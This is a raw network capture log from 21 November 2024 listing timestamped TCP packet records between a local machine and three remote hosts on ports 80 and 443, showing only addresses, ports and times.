Nov 21, 2024 03:09:23.671137094 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.671191931 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.671919107 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.672053099 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.672101021 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.672801971 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.672888994 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.672947884 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.673691034 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.673794031 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.673844099 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.674609900 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.674722910 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.674781084 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.675546885 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.675652981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.675698042 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.676431894 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.676542997 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.677346945 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.677392006 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.677433014 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.677474976 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.678245068 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.678363085 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.678407907 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.679167032 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.679256916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.679306984 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.680087090 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.680208921 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.680244923 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.680996895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.681073904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.681118011 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.681895018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.682003975 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.682053089 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.682799101 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.682909012 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.682976961 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.683693886 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.683826923 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.683875084 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.684623003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.684743881 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.684822083 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.685514927 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.685615063 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.685664892 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.686428070 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.686541080 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.686628103 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.687340975 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.687511921 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.687560081 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.688306093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.688436985 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.688486099 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.688585997 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.689217091 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.689333916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.689378023 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.690165043 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.690346956 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.690392971 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.691063881 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.691195011 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.691235065 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.691926956 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.692029953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.692147970 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.692835093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.692887068 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.692939043 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.693726063 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.693809032 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.693861961 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.703068018 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.718185902 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.721254110 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.721313953 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.721321106 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.721373081 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.721570015 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.721594095 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.721607924 CET	49844	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.721616030 CET	443	49844	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.725486994 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.725532055 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.725630999 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.725929022 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.725965977 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.727037907 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.730187893 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.730257988 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.730360031 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.730376005 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.730386972 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.730393887 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.732913017 CET	49850	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.732955933 CET	443	49850	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.733021021 CET	49850	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.733129025 CET	49850	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.733145952 CET	443	49850	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.758066893 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.760526896 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.760601997 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.760691881 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.760735035 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.761207104 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.761249065 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.761254072 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.761255980 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.761292934 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.761301041 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.761324883 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.761348009 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.761676073 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.761704922 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.761749029 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.761758089 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.762732029 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.762805939 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.762883902 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.762929916 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.764206886 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.764313936 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.764328957 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.764370918 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.764373064 CET	49851	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.764394045 CET	443	49851	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.764452934 CET	49851	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.764580011 CET	49851	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.764595985 CET	443	49851	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.765652895 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.765759945 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.765763998 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.765929937 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.767105103 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.767148972 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.767225027 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.767272949 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.768579960 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.768647909 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.768687963 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.768750906 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.769999981 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.770123005 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.770172119 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.771411896 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.771522045 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.771575928 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.772795916 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.772838116 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.772847891 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.772893906 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.774198055 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.774255991 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.774287939 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.774333000 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.775609970 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.775666952 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.775700092 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.775741100 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.776985884 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.777039051 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.777080059 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.777175903 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.778356075 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.778482914 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.778529882 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.779675961 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.779791117 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.779838085 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.781126976 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.781191111 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.781224966 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.782078981 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.782351017 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.782396078 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.782474995 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.782520056 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.783771038 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.783818960 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.783868074 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.783914089 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.785043955 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.785089970 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.785129070 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.785172939 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.786356926 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.786422968 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.786473036 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.787692070 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.787767887 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.787834883 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.788953066 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.789001942 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.789063931 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.789614916 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.789716005 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.789838076 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.790179968 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.790230036 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.790277004 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.790293932 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.790312052 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.790318012 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.790345907 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.790355921 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.791086912 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.791201115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.791539907 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.791609049 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.791610956 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.791655064 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.791697979 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.791970968 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.792840958 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.792886019 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.792929888 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.793689966 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.794102907 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.794156075 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.794200897 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.795380116 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.795433998 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.795471907 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.795516014 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.796657085 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.796744108 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.796777010 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.796849012 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.797940969 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.797991037 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.798043966 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.798125029 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.799216986 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.799283028 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.799324036 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.799420118 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.800508976 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.800610065 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.800623894 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.800712109 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.801779032 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.801843882 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.801892042 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.801971912 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.803057909 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.803164959 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.803186893 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.803209066 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.804348946 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.804418087 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.804444075 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.804460049 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.805620909 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.805674076 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.805715084 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.806905985 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.806948900 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.807019949 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.808183908 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.808227062 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.808250904 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.808288097 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.809475899 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.809529066 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.809586048 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.810758114 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.810806036 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.810810089 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.812017918 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.812091112 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.812124968 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.812169075 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.813325882 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.813383102 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.813421011 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.813461065 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.814574003 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.814629078 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.814707041 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.814822912 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.815859079 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.815911055 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.815949917 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.815992117 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.817127943 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.817178011 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.817296028 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.817338943 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.818433046 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.818491936 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.818528891 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.818569899 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.819668055 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.819720984 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.819765091 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.819890976 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.820967913 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.821017981 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.821163893 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.821216106 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.822285891 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.822336912 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.822376966 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.822422981 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.823539019 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.823616982 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.823656082 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.823698997 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.824815989 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.824866056 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.824932098 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.825000048 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.826095104 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.826152086 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.826189995 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.826231003 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.827363014 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.827411890 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.827483892 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.827548981 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.828653097 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.828705072 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.828756094 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.828797102 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.829894066 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.829937935 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.833477020 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.850879908 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.850965977 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.851077080 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.851336956 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.851474047 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.852235079 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.852287054 CET	49841	80	192.168.2.5	34.116.198.130
